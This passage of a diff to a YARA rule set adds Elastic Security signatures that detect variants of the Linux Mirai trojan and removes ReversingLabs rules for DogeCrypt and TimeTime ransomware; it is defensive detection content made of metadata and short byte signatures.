+		$a = { C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_Fa3Ad9D0 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "fa3ad9d0-7c55-4621-90fc-6b154c44a67b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L60-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
+		logic_hash = "5890c85872ea4508e673235b20b481972f613f6e5f9564c0237c458995532347"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_0Cb1699C : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "0cb1699c-9a08-4885-aa7f-0f1ee2543cac"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L80-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
+		logic_hash = "97307f583240290de2bfc663b99f8dcdedace92885bd3e0c0340709b94c0bc2a"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_6F021787 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "6f021787-9c2d-4536-bd90-5230c85a8718"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L100-L118"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88183d71359c16d91a3252085ad5a270ad3e196fe431e3019b0810ecfd85ae10"
+		logic_hash = "7e8062682a0babbaa3c00975807ba9fc34c465afde55e4144944e7598f0ea1fd"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "33ba39b77e55b1a2624e7846e06b2a820de9a8a581a7eec57e35b3a1636b8b0d"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 55 D4 66 89 14 01 0F B6 45 D0 48 63 D0 48 89 D0 48 01 C0 48 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_1E0C5Ce0 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "1e0c5ce0-3b76-4da4-8bed-2e5036b6ce79"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L120-L138"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b1f95840caebf9721bf318126be27085ec08cf7881ec64a884211a934351c2d"
+		logic_hash = "591cc3ef6932bf990f56c932866b34778e8eccd0e343f9bd6126eb8205a12ecc"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8e45538b59f9c9b8bc49661069044900c8199e487714c715c1b1f970fd528e3b"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 4C 24 54 31 F6 41 B8 04 00 00 00 BA 03 00 00 00 C7 44 24 54 01 00 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_22965A6D : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "22965a6d-85d3-4f7c-be4a-581044581b77"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L140-L158"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "09c821aa8977f67878f8769f717c792d69436a951bb5ac06ce5052f46da80a48"
+		logic_hash = "6b2a46694edf709d28267268252cfe95d88049b7dca854059cfe44479ada7423"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a34bcba23cde4a2a49ef8192fa2283ce03c75b2d1d08f1fea477932d4b9f5135"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { E6 4A 64 2B E4 82 D1 E3 F6 5E 88 34 DA 36 30 CE 4E 83 EC F1 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_4032Ade1 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "4032ade1-4864-4637-ae73-867cd5fb7378"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L160-L178"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6150fbbefb916583a0e888dee8ed3df8ec197ba7c04f89fb24f31de50226e688"
+		logic_hash = "9c5e24c4efd4035408897f638d3579c3798139fd18178cee4a944b49c13e1532"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "2b150a6571f5a2475d0b4a2ddb75623d6fa1c861f5385a5c42af24db77573480"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { F8 0C 67 56 55 4C 06 87 DE B2 C0 79 AE 88 73 79 0C 7E F8 87 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_B14F4C5D : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "b14f4c5d-054f-46e6-9fa8-3588f1ef68b7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L180-L197"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1a2114a7b397c850d732940a0e154bc04fbee1fdc12d343947b343b9b27a8af1"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_C8385B81 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "c8385b81-0f5b-41c3-94bb-265ede946a84"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L199-L217"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3d27736caccdd3199a14ce29d91b1812d1d597a4fa8472698e6df6ef716f5ce9"
+		logic_hash = "4ff1f0912fb92e7ac5af49e1738dac897ff1f0a118d8ff905da45b0a91b3f4a7"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "dfdbd4dbfe16bcf779adb16352d5e57e3950e449e96c10bf33a91efee7c085e5"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 8D 74 26 00 89 C2 83 ED 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_122Ff2E6 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L219-L237"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4"
+		logic_hash = "62884309b9095cdd6219c9ef6cd77a0f712640d8a1db4afe5b1d01f4bbe5acc2"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_26Cba88C : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "26cba88c-7bd4-4fac-b395-04c4745fee43"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L239-L257"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4b4758bff3dcaa5640e340d27abba5c2e2b02c3c4a582374e183986375e49be8"
+		logic_hash = "bb5a0f9e68655556ab9fccc27d11bf7828c299720bb67948455579d6a7eb2a9f"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "358dd5d916fec3e1407c490ce0289886985be8fabee49581afbc01dcf941733e"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { F6 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4A 00 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_93Fc3657 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "93fc3657-fd21-4e93-a728-c084fc0a6a4a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L259-L277"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
+		logic_hash = "0b5278feddd00b0b24ca735bf7cd1440379c6ce5aca6d2a6f38c9fdcedcb3c0d"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_7C88Acbc : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "7c88acbc-8b98-4508-ac53-ab8af858660d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L279-L296"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "76373f8e09b7467ac5d36e8baad3025a57568e891434297e53f2629a72cf8929"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "e2ef1c60e21f18e54694bcfc874094a941e5f61fa6144c5a0e44548dafa315be"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = "[Cobalt][%s][%s][%s][%s]"
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_804F8E7C : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "804f8e7c-4786-42bc-92e4-c68c24ca530e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L298-L316"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
+		logic_hash = "711d74406d9b0d658b3b29f647bd659699ac0af9cd482403122124ec6054f1ec"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_A2D2E15A : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "a2d2e15a-a2eb-43c6-a43d-094ee9739749"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L318-L336"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "567c3ce9bbbda760be81c286bfb2252418f551a64ba1189f6c0ec8ec059cee49"
+		logic_hash = "c76fe953c4a70110346a020f2b27c7e79f4ad8a24fd92ac26e5ddd1fed068f65"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "0e57d17f5c0cd876248a32d4c9cbe69b5103899af36e72e4ec3119fa48e68de2"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 42 F0 41 83 F8 01 76 5F 44 0F B7 41 10 4C 01 C0 44 8D 42 EE 41 83 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_5946F41B : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "5946f41b-594c-4fde-827c-616a99f6fc1b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L338-L356"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f0b6bf8a683f8692973ea8291129c9764269a6739650ec3f9ee50d222df0a38a"
+		logic_hash = "43691675db419426413ccc24aa9dfe94456fa1007630652b08a625eafd1f17b8"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "f28b9b311296fc587eced94ca0d80fc60ee22344e5c38520ab161d9f1273e328"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 59 08 AA 3A 4C D3 6C 2E 6E F7 24 54 32 7C 61 39 65 21 66 74 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_Da4Aa3B3 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "da4aa3b3-521d-4fde-b1be-c381d28c701c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L358-L376"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dbc246032d432318f23a4c1e5b6fcd787df29da3bf418613f588f758dcd80617"
+		logic_hash = "84ddc505d2e2be955b88a0fe3b78d435f73c0a315b513e105933e84be78ba2ad"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8b004abc37f47de6e4ed35284c23db0f6617eec037a71ce92c10aa8efc3bdca5"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 01 D0 C1 E0 03 89 C2 8B 45 A0 01 D0 0F B6 40 14 3C 1F 77 65 8B }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_70Ef58F1 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "70ef58f1-ac74-4e33-ae03-e68d1d5a4379"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L378-L396"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
+		logic_hash = "3ad201d643e8f93a6f9075c03a76020d78186702a19bf9174b08688a2e94ef5c"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C }
 
 	condition:
-		uint16(0)==0x5A4D and ($decrypt_DesucryptKeyContainer_DogeCrypt) and ($find_files_DogeCrypt) and ( all of ($encrypt_files_DogeCrypt_p*))
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timetime : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ea584243 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects TimeTime ransomware."
-		author = "ReversingLabs"
-		id = "27bff941-01ce-5bf7-a9d8-d01d2db3bfd3"
-		date = "2022-02-21"
-		modified = "2022-02-21"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara#L1-L75"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "43867dd793bc84e6f39ca2de1aff4047a742b295dc4df94cd337bd2ef89e4a62"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ea584243-6ead-4b96-9a5c-5b5dee12fd57"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L398-L416"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f363d9bd2132d969cd41e79f29c53ef403da64ca8afc4643084cc50076ddfb47"
+		logic_hash = "34c6f800c849c295797cdd971fb4f3d16d680530f9a98c291388345569708208"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "TimeTime"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "cbcabf4cba48152b3599570ef84503bfb8486db022a2b10df7544d4384023355"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$rename_files = {
-            00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 00 07 28 ?? ?? ??
-            ?? 16 FE 01 0C 08 2C ?? 2B ?? 00 00 07 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 00 DC 2A
-        }
-		$find_files = {
-            00 73 ?? ?? ?? ?? 0A 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 07 2C ?? 06 0C DD ?? ?? ??
-            ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C
-            ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ??
-            ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DE ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11
-            ?? 11 ?? 9A 13 ?? 00 06 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69
-            32 ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 00 06 11 ?? 28 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ?? 13 ??
-            00 00 DE ?? 06 0C 2B ?? 08 2A
-        }
-		$encrypt_folder = {
-            00 02 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C
-            00 00 08 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 0D 09 2C ?? 00 16 13 ?? 16 13 ?? 08 73
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 08 19
-            73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 00 DE ??
-            11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 11 ?? 16 FE 01 11 ?? 5F 11 ?? 5F 13 ?? 11 ?? 2C
-            ?? 00 08 28 ?? ?? ?? ?? 00 00 00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ??
-            ?? ?? ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A
-        }
-		$encrypt_files = {
-            00 02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 2C ?? 38 ?? ?? ?? ?? 02 7E ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 0D 09 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 0A 06 8E 69 8D ?? ?? ?? ?? 0B 16 13 ?? 2B
-            ?? 00 06 11 ?? 91 13 ?? 11 ?? 17 58 D1 13 ?? 11 ?? D2 13 ?? 07 11 ?? 11 ?? 9C 00 11 ??
-            17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 02 07 28 ?? ?? ?? ?? 00 02 02 7E ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 7E
-            ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 00 2A
-        }
+		$a = { 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A 3C 81 FA }
 
 	condition:
